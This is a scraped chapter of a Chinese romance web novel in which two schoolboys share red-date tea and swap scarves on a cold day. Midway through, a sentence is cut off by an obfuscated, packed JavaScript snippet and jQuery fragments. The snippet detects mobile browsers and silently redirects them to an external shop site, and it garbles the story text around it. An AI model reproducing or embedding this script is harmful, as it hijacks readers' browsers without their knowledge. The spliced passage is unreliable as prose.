文趣网 > 都市小说 > 何止漫长 > 20. 围巾
    周三早晨,苌斓是被冷醒的。

    深秋正式向初冬递交了辞呈。窗外的梧桐树一夜之间又落了一层叶子,枝丫光秃秃地伸向灰白的天空。风从窗缝里挤进来,带着尖锐的哨音。他把被子拉到鼻尖,只露出一双眼睛,盯着天花板上那片被晨光照亮的区域。

    床头柜上的水杯还冒着热气,母亲新换的。厨房里传来轻微的响动,豆浆机没有响——昨晚忘了泡豆子。

    他伸手摸到手机,屏幕上躺着一条消息,发自六点四十分。

    “今天降温了。多穿一点。”

    他把手机放在枕头旁边,翻了个身。又翻回来,打字:“你怎么起这么早。”

    回复很快。“豆浆机坏了。起来给你泡红枣茶。”

    苌斓盯着这行字,把被子往上拉了拉,遮住嘴。豆浆机坏了,所以忘海起了更早,泡了红枣茶。他问:“那核桃呢。”

    “核桃单独烤了一下,放在保温杯旁边。你吃的时候自己加。烤过的核桃直接吃也很香。”

    他没有回复。把手机放在枕头旁边,闭上眼睛。然后坐起来,比平时快了至少三秒。

    洗漱,换校服。在衣柜前站了很久,最后在白色卫衣外面加了一件深灰色的厚外套,又在脖子上绕了一条围巾——灰色,母亲在商场给他挑的那条。

    厨房里,灶台上的小锅里煮着红枣茶。红枣被切开,和枸杞一起在沸水里翻滚。父亲把一个保温杯和一个小玻璃罐放在他手边,罐子里装着烤过的核桃仁,微微焦黄,撒了一点点盐。他看了一眼苌斓的围巾,说了句“今天确实冷”。

    母亲从厨房探出头,手里拿着抹布:“手套带了吗。”

    “……没。”

    她转身从柜子里翻出一双新的毛线手套,塞进他书包侧袋。“昨天刚织好的。试试合不合适。”

    苌斓低头看着那双手套。深灰色,手背上织了简单的麻花纹。他不知道她什么时候学的织手套。在养父母家,没有人给他织过任何东西。

    “……谢谢。”

    推开门,寒风扑面。梧桐道上的落叶被风吹得堆积在路牙边,空气冷得鼻尖瞬间就红了。他把围巾往上拉了拉,加快脚步。

    拐过弯角的时候,远远就看见了那个人影。

    忘海站在梧桐树下,穿着藏青色的厚外套,围巾还是那条深灰色,垂到腰间。头发被风吹得乱七八糟,鼻尖也是红的。看到苌斓,微微抬了抬下巴。目光落在他脖子上的围巾上,停了一下。

    “早。”

    “……早。”苌斓把保温杯递过去,“红枣茶。趁热喝。”

    忘海接过杯子,指尖碰到一起的瞬间,苌斓感觉到他的手指很凉。不是放在口袋里的微凉,是等了很久的那种凉。他把玻璃罐也递过去:“核桃烤过了,撒了一点点盐。”

    忘海低头看着那罐核桃仁,罐身被烤过的核桃焙得温热。他把罐子小心地放进口袋,然后把自己怀里的保温杯递给苌斓。

    “红枣茶。和你的一样。”

    苌斓拧开盖子喝了一口。温度刚好,不是滚烫的,是刚好能入口的温度。忘海大概煮好之后晾了一会儿再装进保温杯——他知道苌斓不喜欢太烫。

    他拧好盖子,看着忘海。冷风从梧桐道上灌过来,忘海的鼻尖比刚才更红了,头发被吹得更乱,但他没有缩脖子。那条深灰色的围巾还是垂在腰间,被风吹得飘起来。

    “你围巾为什么不系。”

    忘海低头看了看。“太长了。系起来会在脖子上绕好几圈,不舒服。”

    苌斓沉默了一下。然后他把自己的保温杯放在花坛边上,走到忘海面前。抬手,抓住忘海围巾的两端。

    忘海微微愣了一下,但没有后退。

    苌斓把围巾在忘海的脖子上绕了一圈,又绕了一圈。动作很慢,手指偶尔碰到忘海的脖子,冰凉的指尖碰到温热的皮肤,留下细微的战栗。围巾绕了两圈之后,还剩下短短一截垂在胸口。

    他皱了皱眉,又低头看了看自己脖子上的围巾。然后把自己那条灰色围巾解下来,绕在忘海脖子上,和忘海自己的围巾叠在一起。灰色叠着深灰色,两条垂在胸口。

    “……好了。这样就不长了。两条叠在一起,更暖和。”

    忘海低头看着自己脖子上两条叠在一起的围巾。一条是自己的,养母织的,深灰色;一条是苌斓的,亲生母亲买的,灰色。两种不同的洗衣液味道混在一起,被他的体温捂热。

    他抬起头,看见苌斓的脖子光光的,什么都没有。锁骨露在寒风里,皮肤上起了一层细密的鸡皮疙瘩。

    他抬手开始解围巾。“你的围巾你自己戴——”

    苌斓按住他的手。冰凉的手压在温热的手背上,触感鲜明得让两个人都停住了。

    “我不冷。”

    撒谎。鼻尖是红的,耳尖也是红的。但他的手按在忘海的手背上,很用力。

    忘海沉默了很久,然后把手放下来。“那你到学校记得喝红枣茶。”

    “……嗯。”

    两人并肩朝学校走去。风很大,梧桐叶被卷起来擦着他们的肩膀飞过去。忘海脖子上裹着两条围巾,下巴埋在柔软的毛线里。苌斓的脖子光光的,在冷风里走了一会儿就开始微微发抖。

    忘海看到了。没有戳穿,只是忽然绕到苌斓的另一侧——上风口。冷风是从那边灌过来的,他用身体替苌斓挡住了风。

    苌斓愣了一下。“你干什么。”

    “这边风小。”

    苌斓的喉咙有些紧。没有说谢谢,只是把脚步放慢了一点,和忘海并肩走的距离缩短了半寸。

    走到高二教学楼门口,苌斓停下来。没有回头,背对着忘海。

    “中午。天台见。你把围巾还我。”

    “好。”

    苌斓推开玻璃门,走了两步又停下。玻璃门上倒映着他光光的脖子和微红的耳根。他偏过头,声音压得很低,像是只说给门缝里的冷风听——

    “核桃直接吃也很好吃。烤过的更香。”

    然后快步走进了教学楼。

    忘海站在原地,低头轻轻笑了一声。把手伸进口袋,摸到那颗核桃、那张纸条、那颗奶糖、那颗花生、那片纸巾,还有今天新放进去的玻璃罐子。他拿出一颗烤核桃仁放进嘴里,又香又脆。很好吃。

    他说烤过的更香,苌斓就记住了。

    整个上午,苌斓都在打喷嚏。

    同桌在旁边用一种“我就知道”的表情看着他。“你把围巾借给谁了。”

    “没借。”

    然后打了个喷嚏。非常响亮地出卖了他。

    同桌没有追问,只是往他桌上放了一包新纸巾。苌斓沉默了片刻,从口袋里掏出最后一颗奶糖放在同桌桌上。

    “……谢了。”

    同桌受宠若惊地捧着那颗奶糖,用一种做梦般的语气说:“你居然跟我说谢谢……”

    苌斓没有理他,把纸巾拆开,擤了鼻涕。

    午休铃响的时候,苌斓朝天台走去。手里拿着保温杯,怀里揣着从同桌那里多拿的一包纸巾。推开铁门,冷风扑面而来。

    忘海已经站在围栏边了。脖子上还裹着两条围巾,听到脚步声转过身来。他看着苌斓光光的脖子,皱了皱眉。

    “你中午应该把围巾拿回去。”

    “忘记了。”

    “……你一直在打喷嚏。隔着走廊都听到了。”

    “你听力真好。”

    “不是听力好,”忘海的声音很轻,“是注意听。”

    苌斓的动作停了一瞬。然后他把围巾从忘海脖子上解下来一条——自己那条灰色的。手指碰到忘海的脖子时,指尖是凉的,脖子是温热的。他把围巾绕在自己脖子上,围巾上还残留着忘海的体温和两种洗衣液混合的味道。他把脸埋进围巾里,鼻尖蹭着柔软的毛线。

    忘海把保温杯递给他。“红枣茶。给你倒了一半。”

    苌斓接过杯子,喝了一口。红枣的甜香在舌尖化开。和早上喝的一样,但这一次,杯口好像隐约带着另一个人的气息。他把杯子往围巾里缩了缩。

    两人靠在矮墙上,肩膀隔着一个拳头的距离。天台上很安静,只有风声。

    “今天早上,太冷了。”苌斓的声音闷在围巾里。

    忘海侧头看他。

    “你以后不用那么早来。豆浆机坏了就泡茶,可以提前发消息说一声。你可以多睡一会儿,不用在冷风里等。”他顿了顿,声音更轻了,“手都冻红了。”

    忘海低头看了看自己的手。指节是红的,指尖有些发白。他用手指轻轻摩挲保温杯的杯壁。

    “你每天早上几点出门。”

    “……七点二十五。”

    “那我七点二十四到。”

    “为什么早一分钟。”

    忘海的回答很轻,轻得像只说给手里的红枣茶听——

    “怕你等我。”

    苌斓握着杯子的手指微微蜷紧。怕你等我。不是怕等太久,不是怕冷。是怕苌斓站在路口等的那一分钟,会觉得冷。

    他看着杯子里沉在底部

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17724376|208790||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    的红枣片。“那明天豆浆机能修好吗。”

    “修不好。零件坏了,要等周末去买新的。”

    “……那明天还是红枣茶。加核桃。”

    “好。”

    “围巾,”苌斓把脸往围巾里埋了埋,“明天还是两条。一条我不够。风太大了。”

    忘海看着他,弯了一下眼睛。“好。”

    下午放学的时候,冷风依旧刮得很猛。苌斓走出教学楼,把围巾往上拉了拉。走到校门口,忘海站在梧桐树下,手里拿着一个小的密封袋。

    “养母今天做的是红枣饼干。她说天冷了,红枣驱寒。”

    苌斓接过袋子。照例有一包是单独的,用细绳扎着口。他这次没有问为什么是单独的,只是把那包小小的饼干放进口袋里。和核桃、花生放在同一个口袋。

    “……你养母知道我吗。”

    忘海顿了顿,轻轻点了一下头。“知道。我说有个朋友,每天早上喝我做的豆浆。说我做的核桃他喜欢,芝麻也喜欢,花生也喜欢,红枣也喜欢。说他总说太甜了,但每次都喝完。说他看起来很凶,其实会把奶糖分给同学。说他把围巾借给别人,自己打喷嚏。说他以前吃了很多苦,但现在有家了。”

    苌斓低着头,盯着自己鞋尖上的那片梧桐叶。枯黄的叶子被他的鞋尖碾碎了一角。

    “……你养母怎么说。”

    “她说,那你要对他好一点。”

    风从梧桐道上灌过来。苌斓把围巾往上拉了拉,遮住了整个下巴。然后伸手从口袋里掏出那颗画着笑脸的花生,递到忘海面前。

    “这个还给你。你拿回去。”

    忘海低头看着掌心里那颗花生。壳上的笑脸被磨得有些模糊了,弯弯的眼睛变得很淡很淡,但还在。他把苌斓的手推回去。

    “给了你就是你的。不用还。”

    苌斓攥紧那颗花生,收回手。“……那你还有什么想要的。”

    忘海沉默了很久。然后他看着苌斓光光的脖子——上面空空荡荡,只有那条灰色围巾。他抬手碰了碰自己脖子上那条深灰色的,摘下来,递过去。

    “明天早上。你帮我系。”

    苌斓看着那条深灰色围巾,又看了看忘海光光的脖子。风很大,忘海的领口被吹得立起来。他伸出手——但没有接过那条围巾。他上前半步,很近很近,然后抬手把自己脖子上的灰色围巾解下来,绕在忘海的脖子上。一圈,又一圈。和早上一样。但这次绕得很慢,每个动作都很认真。

    绕好之后,他把忘海那条深灰色围巾拿过来,绕在自己脖子上。

    两条围巾交换了。灰色在忘海脖子上,深灰色在苌斓脖子上。

    “……明天早上再换回来。你的围巾比我的长,我那条太短了。这条长的给你。”

    忘海低头看着自己脖子上那条灰色围巾。是苌斓的亲生母亲买的,上面有淡淡的花香。他伸手摸了摸围巾的末端,被苌斓的体温捂得温热。

    “……嗯。”

    苌斓转身走了。深灰色围巾垂在他的胸口,比他自己那条长了很多,被风吹得飘起来。走了十几步,没有回头,但把手举起来,摆了摆。手里攥着那颗画着笑脸的花生。

    忘海站在原地,看着那道背影渐行渐远。他把手伸进脖子上的围巾——灰色,花香——用掌心轻轻按了一下。然后把手放进口袋,摸到那颗核桃、那张纸条、那颗奶糖、那片纸巾,还有玻璃罐子里最后一颗烤核桃仁。他拿出那颗核桃仁放进嘴里,是凉的,但很香。

    晚上,苌斓躺在床上打了个喷嚏。手机屏幕亮着。

    “到家了。你感冒了。明天带姜茶,不放糖。姜茶不好喝,但是驱寒。”

    苌斓擤着鼻涕打字:“不用姜茶。红枣茶就行。”

    “姜茶。你打了一天喷嚏。”

    “……姜茶很辣。”

    “我知道。但比打喷嚏好。”

    苌斓盯着屏幕,嘴角在黑暗里微微弯起。“那你放一颗红枣在里面。一点点甜就行。”

    “好。一颗红枣。”

    苌斓把手机放在枕头旁边,翻了个身。床头柜上放着一包还没拆的感冒冲剂,旁边是一杯温水,母亲放的。他伸手拿起那颗画着笑脸的花生,攥在手心里,闭上眼睛。

    明天早上,姜茶加一颗红枣。围巾换回来,第二天早上又可以不换,第三天早上又可以交换。他可以在路口再系一次围巾,每一天都可以有不同的理由——天冷,风大,你说怕我等你,所以我也要给你系。

    明天见。